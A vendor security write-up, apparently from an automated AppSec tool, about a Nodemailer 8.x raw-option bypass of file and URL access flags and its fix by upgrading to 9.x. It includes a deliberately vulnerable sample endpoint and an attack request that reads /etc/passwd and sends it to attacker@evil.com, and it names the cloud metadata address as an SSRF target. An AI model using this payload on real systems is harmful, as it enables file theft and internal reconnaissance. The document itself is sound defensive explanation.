How Message-Level Raw Option Bypass Happens in Node.js Nodemailer and How to Fix It
Introduction
The backend/package-lock.json file in this application pins Nodemailer — the most widely used email-sending library in the Node.js ecosystem — to ^8.0.10. On the surface, that version looks reasonable: it is recent, well-maintained, and widely deployed. But beneath that surface, Nodemailer 8.x carries a subtle and dangerous flaw: its raw message option completely ignores the disableFileAccess and disableUrlAccess security flags that developers rely on to prevent the mailer from fetching untrusted files and URLs.
That gap means an attacker who can influence the content of the raw option — through a template injection, a misconfigured API endpoint, or any other input path — can read arbitrary files off the server's filesystem or make the backend issue HTTP requests to internal infrastructure, with the full response embedded in the delivered email. This is not a theoretical edge case: it is a concrete, chainable exploit primitive that Trivy's scanner flagged as GHSA-p6gq-j5cr-w38f with a HIGH severity rating.
The Vulnerability Explained
What disableFileAccess and disableUrlAccess Are Supposed to Do
Nodemailer supports rich email composition. You can attach local files, embed remote images, and even pass a fully pre-built MIME message via the raw option. To prevent abuse of these features in multi-tenant or user-facing contexts, Nodemailer exposes two protective flags:
const transporter = nodemailer.createTransport(config, {
disableFileAccess: true, // block attachment of local files
disableUrlAccess: true, // block fetching of remote URLs
});
When these are set, Nodemailer is supposed to refuse to read local paths or fetch remote resources during message composition. This is the intended trust boundary.
The Bypass: The raw Option
The raw message option lets callers pass a pre-formatted MIME string directly to the transport layer, bypassing Nodemailer's normal message builder:
transporter.sendMail({
raw: userControlledMimeString, // <-- the dangerous path
});
In Nodemailer 8.x, the code path that handles raw messages does not run the same access-control checks applied to normal message fields like attachments or html. This means that even with disableFileAccess: true and disableUrlAccess: true set on the transporter, a raw payload can still:
- Reference local file paths (e.g.,
Content-Type: message/external-body; access-type=local-file; name="/etc/passwd") — causing Nodemailer to read and embed the file contents in the outbound message. - Reference internal HTTP endpoints (e.g., embedding a URL pointing to
http://169.254.169.254/latest/meta-data/) — causing Nodemailer to fetch the URL and include the full response body in the email.
A Concrete Attack Scenario for This Application
Consider a backend API endpoint that accepts user-provided email templates and uses Nodemailer to send them. A developer wrote:
// backend/services/mailer.js (illustrative)
const transporter = nodemailer.createTransport(smtpConfig, {
disableFileAccess: true,
disableUrlAccess: true,
});
app.post('/api/send-notification', async (req, res) => {
await transporter.sendMail({
from: 'noreply@app.com',
to: req.body.recipient,
raw: req.body.rawMime, // user-controlled — bypasses all access controls in v8
});
});
With Nodemailer 8.x, an attacker posts:
POST /api/send-notification
{
"recipient": "attacker@evil.com",
"rawMime": "From: noreply@app.com\r\nTo: attacker@evil.com\r\nSubject: Test\r\nContent-Type: message/external-body; access-type=local-file; name=\"/etc/passwd\"\r\n\r\n"
}
The transporter reads /etc/passwd and delivers its contents to attacker@evil.com. The disableFileAccess: true flag does nothing because the raw path never checks it.
The same technique works for SSRF: reference http://internal-service:8080/admin/config and receive the full JSON response in the delivered email.
Real-World Impact
For this backend application, the impact is severe:
- Credential theft: Environment files, private keys, and configuration files reachable from the Node.js process can be exfiltrated.
- Internal network reconnaissance: Internal microservices, cloud metadata endpoints (AWS IMDSv1, GCP metadata), and database admin UIs become reachable.
- Trust-boundary collapse: The entire purpose of disableFileAccess/disableUrlAccess is nullified, meaning any code that relies on those flags for security is silently unprotected.
The Fix
What Changed in backend/package-lock.json and backend/package.json
The fix is a targeted version bump of the nodemailer dependency:
# backend/package-lock.json (top-level dependencies section)
- "nodemailer": "^8.0.10",
+ "nodemailer": "^9.0.4",
This single line change upgrades the resolved version from the 8.x series to 9.x, where the raw message path was patched to enforce disableFileAccess and disableUrlAccess consistently.
The diff also removes a set of now-unnecessary transitive dependencies that were pulled in by Nodemailer 8.x's dependency tree — notably agent-base@6.0.2, gaxios@5.1.3, and gcp-metadata@5.3.0 under node_modules/mongoose/node_modules/. These removals reflect a cleaner, leaner dependency graph in Nodemailer 9.x and reduce the overall attack surface by eliminating packages that are no longer needed.
- "node_modules/mongoose/node_modules/agent-base": {
- "version": "6.0.2",
- ...
- },
- "node_modules/mongoose/node_modules/gaxios": {
- "version": "5.1.3",
- ...
- },
- "node_modules/mongoose/node_modules/gcp-metadata": {
- "version": "5.3.0",
- ...
- },
Removing these stale nested modules is a meaningful security improvement beyond the Nodemailer fix itself — each removed package is one fewer dependency to audit, patch, or exploit.
Why Nodemailer 9.x Fixes the Problem
In Nodemailer 9.0.0+, the internal message composition pipeline was refactored to apply access-control checks at the transport layer rather than only within the message-builder layer. This means that regardless of whether a message arrives via normal field composition or via the raw option, the disableFileAccess and disableUrlAccess flags are enforced before any file I/O or HTTP fetch is attempted.
The trust boundary that developers intended to establish with those flags now actually holds.
Prevention & Best Practices
1. Never Trust raw With User-Controlled Input
Even after upgrading to Nodemailer 9.x, passing user-controlled data directly into the raw option is dangerous. Treat raw as a privileged, internal-only option and validate or sanitize any content before use:
// Bad: user controls the raw MIME string
await transporter.sendMail({ raw: req.body.rawMime });
// Better: construct the message from validated fields
await transporter.sendMail({
from: 'noreply@app.com',
to: validatedRecipient,
subject: sanitizedSubject,
html: sanitizedHtmlBody,
});
2. Keep Dependency Scanners in CI
This vulnerability was detected by Trivy scanning backend/package-lock.json. Integrate a scanner into your CI pipeline so that newly published advisories are caught before they reach production:
# Example GitHub Actions step
- name: Scan dependencies
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: 'backend/package-lock.json'
severity: 'HIGH,CRITICAL'
3. Apply the Principle of Least Privilege to Email Transports
Configure Nodemailer transporters with the most restrictive settings appropriate for your use case. If your application never needs to attach local files or fetch remote URLs, set both flags and treat any attempt to bypass them as a security event:
const transporter = nodemailer.createTransport(config, {
disableFileAccess: true,
disableUrlAccess: true,
});
4. Validate Outbound Email Recipients and Content
Prevent email injection and content manipulation by validating all fields that flow into sendMail() against strict allowlists or schemas (e.g., using zod, which is already present in this project's dependencies).
5. Relevant Standards
- OWASP SSRF Prevention Cheat Sheet: Covers input validation, allowlists, and network-layer controls for SSRF.
- CWE-441: Unintended Proxy/Intermediary — the canonical classification for SSRF-class vulnerabilities.
- CWE-73: External Control of File Name or Path — covers the arbitrary file read aspect.
Key Takeaways
disableFileAccessanddisableUrlAccessin Nodemailer 8.x are not reliable security controls — therawoption silently bypasses them, making any code that depends on those flags for security silently vulnerable.- The
rawmessage option is a privileged code path that should never accept user-controlled input without strict validation, even in patched versions. - Upgrading
nodemailerfrom^8.0.10to^9.0.4inbackend/package-lock.jsoncloses the bypass by enforcing access controls at the transport layer, not just the message-builder layer. - Removing stale transitive dependencies (
agent-base@6.0.2,gaxios@5.1.3,gcp-metadata@5.3.0) as part of the upgrade reduces the overall attack surface of the backend. - Trivy's advisory GHSA-p6gq-j5cr-w38f is a reliable signal: when a dependency scanner flags a HIGH-severity advisory in
package-lock.json, treat it as a blocking issue, not a backlog item.
How Orbis AppSec Detected This
- Source: User-controlled or externally-influenced data entering the
rawfield of asendMail()call in the backend's email service layer. - Sink: Nodemailer's internal MIME composition pipeline in
node_modules/nodemailer(version^8.0.10as pinned inbackend/package-lock.json), specifically therawmessage handler that performs file I/O and HTTP fetches without checkingdisableFileAccess/disableUrlAccess. - Missing control: The
rawcode path in Nodemailer 8.x does not invoke the same access-restriction checks applied to normal message fields, meaning thedisableFileAccessanddisableUrlAccesstransporter options have no effect whenrawis used. - CWE: CWE-441 (Unintended Proxy/Intermediary) for SSRF; CWE-73 (External Control of File Name or Path) for arbitrary file read.
- Fix: Bumped
nodemailerfrom^8.0.10to^9.0.4inbackend/package-lock.jsonandbackend/package.json, resolving GHSA-p6gq-j5cr-w38f and restoring the intended enforcement of file and URL access controls.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The Nodemailer raw option bypass (GHSA-p6gq-j5cr-w38f) is a reminder that security controls are only as strong as their consistent enforcement. Developers who set disableFileAccess: true and disableUrlAccess: true on their Nodemailer transporters reasonably expected those flags to protect them — but in the 8.x series, a single alternative code path rendered both controls meaningless.
The fix is straightforward: upgrade to nodemailer ^9.0.4. But the broader lesson is architectural. Security controls that can be bypassed by choosing a different API surface are not controls at all — they are false confidence. When you add a restriction to a library, verify that it applies uniformly across every code path, not just the happy path.
Keep your dependency scanners running, treat HIGH-severity advisories as blocking, and never pass user-controlled data into privileged options like raw without explicit validation.